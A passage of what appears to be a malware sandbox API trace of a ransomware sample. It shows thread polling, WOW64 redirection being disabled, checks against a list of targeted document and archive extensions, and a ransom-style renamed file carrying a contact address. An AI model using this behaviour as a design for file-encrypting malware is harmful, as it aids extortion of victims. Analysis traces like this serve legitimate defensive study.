WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0294.780] GetTickCount () returned 0x215b1 [0294.780] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0294.880] GetTickCount () returned 0x2161e [0294.880] GetTickCount () returned 0x2161e [0294.880] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0295.330] GetTickCount () returned 0x217e3 [0295.330] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0296.364] GetTickCount () returned 0x21bea [0296.364] GetTickCount () returned 0x21bea [0296.364] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0296.652] GetTickCount () returned 0x21d04 [0296.652] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0297.674] GetTickCount () returned 0x220fb [0297.674] GetTickCount () returned 0x220fb [0297.674] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.119] GetTickCount () returned 0x222b1 [0298.120] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.214] GetTickCount () returned 0x2231e [0298.214] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.487] GetTickCount () returned 0x22437 [0298.487] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.589] GetTickCount () returned 0x224a5 [0298.589] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.744] GetTickCount () returned 0x22522 [0298.744] GetTickCount () returned 0x22522 [0298.744] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0298.840] GetTickCount () returned 0x2259f [0298.840] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.013] GetTickCount () returned 0x2264b [0299.013] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.177] GetTickCount () returned 0x226d7 [0299.177] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.316] GetTickCount () returned 0x22764 [0299.316] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.417] GetTickCount () returned 0x227d1 [0299.417] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.620] GetTickCount () returned 0x2289c [0299.620] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0299.756] GetTickCount () returned 0x22919 [0299.756] GetTickCount () returned 0x22919 [0299.757] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.027] GetTickCount () returned 0x22a42 [0300.027] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.183] GetTickCount () returned 0x22acf [0300.183] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.295] GetTickCount () returned 0x22b4c [0300.295] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.402] GetTickCount () returned 0x22baa [0300.402] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.511] GetTickCount () returned 0x22c27 [0300.511] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.621] GetTickCount () returned 0x22c84 [0300.621] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.742] GetTickCount () returned 0x22cf2 [0300.742] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.839] GetTickCount () returned 0x22d6f [0300.839] GetTickCount () returned 0x22d6f [0300.839] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0300.950] GetTickCount () returned 0x22dcc [0300.950] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.058] GetTickCount () returned 0x22e49 [0301.058] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.224] GetTickCount () returned 0x22ee6 [0301.225] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.352] GetTickCount () returned 0x22f63 [0301.352] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.682] GetTickCount () returned 0x230ab [0301.682] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.826] GetTickCount () returned 0x23147 [0301.826] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0301.982] GetTickCount () returned 0x231e3 [0301.982] GetTickCount () returned 0x231e3 [0301.982] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.118] GetTickCount () returned 0x23251 [0302.118] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.217] GetTickCount () returned 0x232ce [0302.217] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.326] GetTickCount () returned 0x2332b [0302.326] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.438] GetTickCount () returned 0x23399 [0302.438] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.542] GetTickCount () returned 0x23406 [0302.542] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.652] GetTickCount () returned 0x23474 [0302.652] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.761] GetTickCount () returned 0x234e1 [0302.761] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0302.871] GetTickCount () returned 0x2355e [0302.871] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0303.037] GetTickCount () returned 0x235eb [0303.037] GetTickCount () returned 0x235eb [0303.037] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0303.183] GetTickCount () returned 0x23687 [0303.183] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0303.320] GetTickCount () returned 0x23704 [0303.320] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0303.433] GetTickCount () returned 0x23781 [0303.433] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) returned 0x102 [0303.606] GetTickCount () returned 0x2383c [0303.606] WaitForSingleObject (hHandle=0x1030, dwMilliseconds=0x64) Thread: id = 3452 os_tid = 0x26d0 [0285.828] GetTickCount () returned 0x1f2b7 [0285.828] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x24) returned 0x7f1168 [0285.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1034 [0285.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0285.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0285.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7f1168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1040 [0285.831] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6418 [0285.831] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6418, Size=0x20) returned 0x7bd8a0 [0285.831] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6418 [0285.831] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c6418, Size=0x20) returned 0x7bd8c8 [0285.831] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.831] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.831] Wow64DisableWow64FsRedirection (in: OldValue=0x253ff7c | out: OldValue=0x253ff7c*=0x0) returned 1 [0285.831] lstrlenW (lpString="kernel32.dll") returned 12 [0285.831] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd8a0 | out: hHeap=0x730000) returned 1 [0285.831] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.831] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd8c8 | out: hHeap=0x730000) returned 1 [0285.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7ce480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1044 [0285.832] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0286.175] GetTickCount () returned 0x1f41f [0286.175] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0286.502] GetTickCount () returned 0x1f567 [0286.502] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0286.884] GetTickCount () returned 0x1f6de [0286.884] GetTickCount () returned 0x1f6de [0286.884] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0287.195] GetTickCount () returned 0x1f816 [0287.195] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0287.456] GetTickCount () returned 0x1f920 [0287.456] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0287.723] GetTickCount () returned 0x1fa2a [0287.723] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0287.956] GetTickCount () returned 0x1fb14 [0287.956] GetTickCount () returned 0x1fb14 [0287.956] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0288.166] GetTickCount () returned 0x1fbdf [0288.166] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0288.623] GetTickCount () returned 0x1fda4 [0288.623] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0288.835] GetTickCount () returned 0x1fe7f [0288.835] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0289.359] GetTickCount () returned 0x20083 [0289.359] GetTickCount () returned 0x20083 [0289.359] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0289.550] GetTickCount () returned 0x2014e [0289.550] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0289.815] GetTickCount () returned 0x20257 [0289.815] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0289.972] GetTickCount () returned 0x202f4 [0289.972] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.115] GetTickCount () returned 0x20380 [0290.115] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.289] GetTickCount () returned 0x2042c [0290.289] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.512] GetTickCount () returned 0x20507 [0290.512] GetTickCount () returned 0x20507 [0290.512] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.644] GetTickCount () returned 0x20594 [0290.644] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.776] GetTickCount () returned 0x20611 [0290.776] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0290.884] GetTickCount () returned 0x2067e [0290.884] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.025] GetTickCount () returned 0x2070b [0291.025] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.149] GetTickCount () returned 0x20788 [0291.149] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.253] GetTickCount () returned 0x207f5 [0291.253] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.362] GetTickCount () returned 0x20862 [0291.362] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.495] GetTickCount () returned 0x208df [0291.495] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.597] GetTickCount () returned 0x2094d [0291.597] GetTickCount () returned 0x2094d [0291.597] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.780] GetTickCount () returned 0x209f9 [0291.780] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0291.893] GetTickCount () returned 0x20a76 [0291.893] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.004] GetTickCount () returned 0x20ae3 [0292.004] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.112] GetTickCount () returned 0x20b50 [0292.112] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.227] GetTickCount () returned 0x20bbe [0292.227] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.331] GetTickCount () returned 0x20c2b [0292.331] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.441] GetTickCount () returned 0x20c98 [0292.441] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.545] GetTickCount () returned 0x20cf6 [0292.545] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.652] GetTickCount () returned 0x20d64 [0292.652] GetTickCount () returned 0x20d64 [0292.652] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.761] GetTickCount () returned 0x20dd1 [0292.761] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0292.883] GetTickCount () returned 0x20e3e [0292.883] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0293.454] GetTickCount () returned 0x21090 [0293.454] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0293.626] GetTickCount () returned 0x2113c [0293.626] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0293.797] GetTickCount () returned 0x211d8 [0293.797] GetTickCount () returned 0x211d8 [0293.797] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0293.892] GetTickCount () returned 0x21246 [0293.892] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0294.009] GetTickCount () returned 0x212b3 [0294.009] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0294.173] GetTickCount () returned 0x2135f [0294.173] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0294.672] GetTickCount () returned 0x21543 [0294.672] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0294.779] GetTickCount () returned 0x215b1 [0294.779] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0294.880] GetTickCount () returned 0x2161e [0294.880] GetTickCount () returned 0x2161e [0294.880] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0295.330] GetTickCount () returned 0x217e3 [0295.330] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0296.364] GetTickCount () returned 0x21bea [0296.364] GetTickCount () returned 0x21bea [0296.364] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0296.637] GetTickCount () returned 0x21cf4 [0296.637] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0296.744] GetTickCount () returned 0x21d61 [0296.744] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0297.674] GetTickCount () returned 0x220fb [0297.674] GetTickCount () returned 0x220fb [0297.674] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.120] GetTickCount () returned 0x222b1 [0298.120] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.214] GetTickCount () returned 0x2231e [0298.214] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.487] GetTickCount () returned 0x22437 [0298.487] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.589] GetTickCount () returned 0x224a5 [0298.589] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.744] GetTickCount () returned 0x22522 [0298.745] GetTickCount () returned 0x22522 [0298.745] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0298.840] GetTickCount () returned 0x2259f [0298.840] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.013] GetTickCount () returned 0x2264b [0299.013] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.177] GetTickCount () returned 0x226d7 [0299.177] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.315] GetTickCount () returned 0x22764 [0299.316] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.417] GetTickCount () returned 0x227d1 [0299.417] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.620] GetTickCount () returned 0x2289c [0299.620] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0299.756] GetTickCount () returned 0x22919 [0299.756] GetTickCount () returned 0x22919 [0299.756] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.027] GetTickCount () returned 0x22a42 [0300.027] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.183] GetTickCount () returned 0x22acf [0300.183] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.296] GetTickCount () returned 0x22b4c [0300.296] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.402] GetTickCount () returned 0x22baa [0300.402] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.511] GetTickCount () returned 0x22c27 [0300.511] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.621] GetTickCount () returned 0x22c84 [0300.621] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.742] GetTickCount () returned 0x22cf2 [0300.742] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.839] GetTickCount () returned 0x22d6f [0300.839] GetTickCount () returned 0x22d6f [0300.839] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0300.950] GetTickCount () returned 0x22dcc [0300.950] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.058] GetTickCount () returned 0x22e49 [0301.058] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.225] GetTickCount () returned 0x22ee6 [0301.225] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.351] GetTickCount () returned 0x22f63 [0301.351] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.682] GetTickCount () returned 0x230ab [0301.682] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.826] GetTickCount () returned 0x23147 [0301.826] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0301.982] GetTickCount () returned 0x231e3 [0301.982] GetTickCount () returned 0x231e3 [0301.982] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.118] GetTickCount () returned 0x23251 [0302.118] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.216] GetTickCount () returned 0x232ce [0302.216] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.326] GetTickCount () returned 0x2332b [0302.326] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.438] GetTickCount () returned 0x23399 [0302.438] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.542] GetTickCount () returned 0x23406 [0302.542] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.652] GetTickCount () returned 0x23474 [0302.652] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.761] GetTickCount () returned 0x234e1 [0302.761] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0302.871] GetTickCount () returned 0x2355e [0302.871] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0303.037] GetTickCount () returned 0x235eb [0303.037] GetTickCount () returned 0x235eb [0303.037] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0303.183] GetTickCount () returned 0x23687 [0303.183] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0303.320] GetTickCount () returned 0x23704 [0303.320] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0303.433] GetTickCount () returned 0x23781 [0303.433] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) returned 0x102 [0303.606] GetTickCount () returned 0x2383c [0303.606] WaitForSingleObject (hHandle=0x1044, dwMilliseconds=0x64) Thread: id = 3454 os_tid = 0x3d8 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x7f14c0 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x8014c8 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c6298 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x6) returned 0x7c5818 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c62b0 [0285.972] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x100000) returned 0x35ce020 [0285.974] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c62c8 [0285.974] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c62c8, Size=0x20) returned 0x7bd8a0 [0285.974] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x7c62f8 [0285.974] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x7c62f8, Size=0x20) returned 0x7bd850 [0285.974] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.975] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.975] Wow64DisableWow64FsRedirection (in: OldValue=0x2a7ff50 | out: OldValue=0x2a7ff50*=0x0) returned 1 [0285.975] lstrlenW (lpString="kernel32.dll") returned 12 [0285.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd8a0 | out: hHeap=0x730000) returned 1 [0285.975] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7bd850 | out: hHeap=0x730000) returned 1 [0285.975] Sleep (dwMilliseconds=0x64) [0286.267] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0286.267] lstrlenW (lpString="desktop.ini") returned 11 [0286.267] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.268] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=129) returned 1 [0286.268] CloseHandle (hObject=0x1048) returned 1 [0286.268] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0286.268] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0x26 [0286.268] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.268] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.268] lstrlenW (lpString=".doc") returned 4 [0286.268] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0286.268] lstrlenW (lpString=".docx") returned 5 [0286.268] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0286.268] lstrlenW (lpString=".pdf") returned 4 [0286.268] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0286.268] lstrlenW (lpString=".xls") returned 4 [0286.268] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0286.268] lstrlenW (lpString=".xlsx") returned 5 [0286.268] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0286.268] lstrlenW (lpString=".ppt") returned 4 [0286.269] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString=".zip") returned 4 [0286.269] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString=".rar") returned 4 [0286.269] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString=".bz2") returned 4 [0286.269] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0286.269] lstrlenW (lpString=".7z") returned 3 [0286.269] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString=".dbf") returned 4 [0286.269] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString=".1cd") returned 4 [0286.269] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString=".jpg") returned 4 [0286.269] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.269] lstrlenW (lpString=".doc") returned 4 [0286.269] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0286.269] lstrlenW (lpString=".docx") returned 5 [0286.269] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0286.269] lstrlenW (lpString=".pdf") returned 4 [0286.269] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString=".xls") returned 4 [0286.269] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0286.269] lstrlenW (lpString=".xlsx") returned 5 [0286.270] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0286.270] lstrlenW (lpString=".ppt") returned 4 [0286.270] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0286.270] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.270] lstrlenW (lpString=".zip") returned 4 [0286.270] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0286.270] lstrlenW (lpString=".rar") returned 4 [0286.270] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0286.270] lstrlenW (lpString=".bz2") returned 4 [0286.270] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0286.270] lstrlenW (lpString=".7z") returned 3 [0286.270] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0286.270] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0286.270] lstrlenW (lpString=".dbf") returned 4 [0286.270] lstrcmpiW (lpString1=".dbf", 